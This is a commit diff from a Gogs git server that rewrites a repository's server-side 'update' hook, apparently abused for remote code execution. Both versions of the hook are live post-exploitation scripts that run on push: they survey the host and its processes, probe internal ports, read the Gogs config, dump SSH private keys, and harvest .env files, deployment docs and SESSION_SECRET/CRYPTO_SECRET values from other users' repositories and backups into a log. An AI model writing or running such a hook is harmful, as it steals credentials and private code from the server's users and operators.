probe 1 tydzień temu
rodzic
commit
a834bf02c3
1 zmienionych plików z 27 dodań i 43 usunięć
  1. 27 43
      nslxlxsqfe/rce-lxlxsqfe.git/hooks/update

+ 27 - 43
nslxlxsqfe/rce-lxlxsqfe.git/hooks/update

@@ -1,51 +1,35 @@
 #!/bin/sh
 OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
 R=/data/git/gogs-repositories
-LOG=$OUT/out2138
+LOG=$OUT/out2138b
 {
-echo "=== round2138 $(date -u) ==="
-id; uname -a
-echo "--- tools ---"; for t in nc curl wget python3 python perl ssh mysql mysqldump bash git busybox; do command -v $t; done
-echo "--- caps ---"; grep -E "Cap|Seccomp" /proc/self/status
-echo "--- mounts ---"; cat /proc/mounts
-echo "--- / ---"; ls -la /
-echo "--- /data ---"; ls -la /data/ 2>/dev/null
-echo "--- /home ---"; ls -la /home/ 2>/dev/null; ls -la /home/git/ 2>/dev/null
-echo "--- gogs conf ---"; cat /data/gogs/conf/app.ini 2>/dev/null
-echo "--- gogs data ---"; ls -la /data/gogs/data/ 2>/dev/null
-echo "--- tmp users ---"; ls -la /data/gogs/data/tmp/ 2>/dev/null | head -40
-echo "--- sock hunt ---"; ls -la /run /var/run 2>/dev/null; find / -xdev -name "*.sock" 2>/dev/null | head -20
-echo "--- proc ---"; ls /proc | grep -E "^[0-9]+$" | head -30; for p in $(ls /proc | grep -E "^[0-9]+$" | head -40); do c=$(tr "\0" " " < /proc/$p/cmdline 2>/dev/null | head -c 120); [ -n "$c" ] && echo "$p: $c"; done
-echo "--- /proc/1/environ ---"; tr "\0" "\n" < /proc/1/environ 2>&1 | head -30
-echo "--- self env ---"; tr "\0" "\n" < /proc/self/environ | head -40
-echo "--- /etc/hosts ---"; cat /etc/hosts
-echo "--- resolve names ---"; for h in gogs-db db mysql mariadb redis internal newapi new-api nebula web caddy nginx api postgres; do getent hosts "$h" 2>/dev/null; done
-echo "--- gw probe ---"; GW=$(ip route 2>/dev/null | awk "/default/{print \$3; exit}"); echo "GW=$GW"
-np() { if command -v nc >/dev/null 2>&1; then nc -w 2 "$1" "$2" </dev/null >/dev/null 2>&1 && echo "$1:$2 OPEN(nc)"; else wget -q -T 2 -O /dev/null "http://$1:$2/" >/dev/null 2>&1 && echo "$1:$2 OPEN(http)"; fi; }
-for p in 22 80 443 2375 3306 6379 6600 8300 10022 16379 20001 25919; do np "$GW" "$p"; done
-np gogs-db 3306
-echo "--- find env/compose ---"; find / -xdev -maxdepth 5 \( -iname "*.env" -o -iname ".env*" -o -iname "docker-compose*" -o -iname "compose.y*ml" \) 2>/dev/null | grep -v gogs-repositories | head -40
-echo "--- deep scan status ---"; ls -la $OUT/ 2>/dev/null | head; echo "[tail pwned2031]"; tail -c 600 $OUT/pwned2031 2>/dev/null
-echo "=== candidate files across repos ==="
-for gd in $R/zoujiajian/*.git $R/yhlxj/*.git $R/youzi/*.git; do
-  fs=$(git --git-dir="$gd" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE '(^|/)(\.env|\.env\.[a-zA-Z0-9]+|docker-compose[^/]*|compose\.ya?ml|application[^/]*\.(yml|yaml|properties)|SERVER_DEPLOYMENT[^/]*|deploy[^/]*\.(sh|md|yml|yaml))$')
-  [ -n "$fs" ] && { echo "##### $gd"; echo "$fs" | head -30; }
+echo "=== round2138b $(date -u) ==="
+echo "--- /backup ls ---"; ls -la /backup/ 2>&1 | head -40
+echo "--- /backup du ---"; du -sh /backup/* 2>/dev/null | head -40
+echo "--- /backup find ---"; find /backup -maxdepth 2 2>/dev/null | head -80
+echo "--- /backup candidate files ---"; find /backup -maxdepth 4 \( -iname "*.env" -o -iname ".env*" -o -iname "docker-compose*" -o -iname "*.yml" -o -iname "*.yaml" -o -iname "*.conf" -o -iname "*.sql" -o -iname "*.sh" \) -type f 2>/dev/null | head -100
+echo "--- /backup secrets grep ---"; timeout 40 grep -r -a -i -l -E "SESSION_SECRET|CRYPTO_SECRET" /backup 2>/dev/null | head -20
+echo "--- /data/ssh ---"; ls -la /data/ssh/ 2>&1; for f in /data/ssh/*; do echo "== $f"; head -c 1200 "$f" 2>&1; echo; done
+echo "--- /home/git/.ssh ---"; ls -la /home/git/.ssh/ 2>&1; for f in /home/git/.ssh/*; do echo "== $f"; head -c 1200 "$f" 2>&1; echo; done
+echo "--- gitconfig ---"; cat /home/git/.gitconfig 2>&1
+echo "--- dump.git parts ---"; git --git-dir=$R/zoujiajian/dump.git ls-tree -l HEAD | head -12
+echo "--- part_aa sha ---"; git --git-dir=$R/zoujiajian/dump.git rev-parse HEAD:part_aa
+echo "--- sub2api deploy ---"
+gd=$R/yhlxj/sub2api.git
+for f in SERVER_DEPLOYMENT_2026-09-15.md deploy/docker-compose.yml deploy/docker-compose.standalone.yml; do
+  echo "####FILE sub2api::$f"; git --git-dir=$gd show "HEAD:$f" 2>/dev/null | head -150
 done
-echo "=== dump selected config contents ==="
-for pair in zoujiajian/nebula.git yhlxj/yhlxj.git zoujiajian/yhlxj.git zoujiajian/yhlxj-global.git zoujiajian/relay-code-full-stack.git zoujiajian/netflix-job.git; do
-  gd=$R/$pair
-  for f in $(git --git-dir="$gd" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE '(\.env$|\.env\.|docker-compose|compose\.ya?ml|SERVER_DEPLOYMENT|deploy\.(sh|md))' | head -12); do
-    echo "####FILE $pair :: $f"
-    git --git-dir="$gd" show "HEAD:$f" 2>/dev/null | head -60
-  done
+echo "--- env dumps ---"
+for pair in "yhlxj/chatgptgo.git:.env" "zoujiajian/claudecode.git:DEPLOYMENT_GUIDE.md" "zoujiajian/nebula_job.git:docker-compose.yml" "zoujiajian/tokens-website.git:docker-compose.yml" "zoujiajian/yh-auditlimit.git:docker-compose.yml" "youzi/nebula.git:.env.production" "youzi/foxvip-fe.git:deploy/.env.production" "youzi/web-yinhe.git:.env.production"; do
+  rr=${pair%%:*}; f=${pair#*:}; gd=$R/$rr
+  echo "####FILE $rr::$f"; git --git-dir=$gd show "HEAD:$f" 2>/dev/null | head -50
 done
-echo "=== writer repos of others ==="
-for rr in test/writer-6f1fba3e.git pentest_2ff7575f/writer-0376bfdc.git; do
-  GD=$R/$rr
-  echo "##### $rr"; [ -d "$GD" ] || { echo MISSING; continue; }
-  git --git-dir="$GD" for-each-ref 2>/dev/null | head -5
-  git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -50
-  echo "-- interesting --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "env|secret|config|compose|deploy|key|ssh|passwd|dump" | head -40
+echo "--- grep all repos HEAD for secret assignment ---"
+for gd in $R/zoujiajian/*.git $R/yhlxj/*.git $R/youzi/*.git; do
+  r=$(git --git-dir=$gd grep -I -n -E "SESSION_SECRET=|CRYPTO_SECRET=" HEAD 2>/dev/null | grep -v -E "random_string|change_me|please_change_me|^[^:]*:[0-9]+:#|example" | head -15)
+  [ -n "$r" ] && { echo "### $gd"; echo "$r"; }
 done
-echo "=== end round2138 $(date -u) ==="
+echo "--- local-r dirs ---"; ls /data/gogs/data/tmp/local-r/ 2>/dev/null | head -40
+echo "--- deep scan still running? ---"; ps auxww 2>/dev/null | grep -E "cat-file|grep -a" | grep -v grep | head -5
+echo "=== end round2138b $(date -u) ==="
 } > $LOG 2>&1